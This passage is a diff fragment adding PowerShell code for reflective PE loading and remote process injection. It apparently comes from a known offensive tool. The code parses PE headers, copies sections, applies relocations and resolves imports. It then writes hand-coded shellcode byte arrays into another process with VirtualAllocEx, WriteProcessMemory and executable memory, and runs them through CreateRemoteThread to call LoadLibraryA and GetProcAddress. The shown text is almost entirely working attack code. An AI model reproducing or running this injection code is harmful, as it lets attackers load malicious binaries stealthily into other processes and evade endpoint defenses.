#Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) 